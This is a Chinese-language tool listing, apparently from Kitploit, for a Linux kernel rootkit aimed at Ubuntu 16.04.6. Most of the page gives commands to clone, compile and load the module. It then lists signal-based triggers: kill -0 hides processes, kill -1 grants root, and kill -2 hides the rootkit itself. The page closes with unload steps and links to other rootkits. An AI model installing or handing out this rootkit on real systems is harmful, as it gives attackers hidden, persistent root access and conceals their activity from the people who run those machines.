RootKit — 适用于 ubuntu-16.04.6 (Linux 4.4) 的 rootkit。可以隐藏进程、提供 root 访问权限并隐藏自身。 | Kitploit

RootKit — 适用于 ubuntu-16.04.6 (Linux 4.4) 的 rootkit。可以隐藏进程、提供 root 访问权限并隐藏自身。 | Kitploit

这是一个在 ubuntu-16.04.6-desktop-amd64 (Linux 4.4) 上测试过的 rootkit，但应该很容易移植到不同的内核版本。

视频链接 --> https://drive.google.com/file/d/1yDktAg9vIPBH3OPEBYset9OdQb0LMevA/view?usp=sharing

安装

克隆仓库

git clone https://github.com/Asekon/RootKit

进入文件夹

cd RootKit

编译

sudo make

以 root 身份将模块插入内核

sudo insmod RootKit.ko

使用

(取消)隐藏进程 (示例:PID 500)

kill -0 500

获取 root 权限 (你可以插入任意 PID，不必是 0)

kill -1 0

(取消)隐藏 Rootkit (你可以插入任意 PID，不必是 0)

kill -2 0

卸载

以 root 身份从内核中移除模块 (确保它首先在模块列表中可见)

sudo rmmod RootKit

参考

https://en.wikipedia.org/wiki/Rootkit

http://dandylife.net/blog/archives/304

https://github.com/nurupo/rootkit

https://github.com/f0rb1dd3n/Reptile

https://github.com/m0nad/Diamorphine

http://lwn.net/Kernel/LDD3/

http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction/

http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html

https://yassine.tioual.com/index.php/2017/01/10/hiding-processes-for-fun-and-profit/

https://www.howtogeek.com/107217/how-to-manage-processes-from-the-linux-terminal-10-commands-you-need-to-know/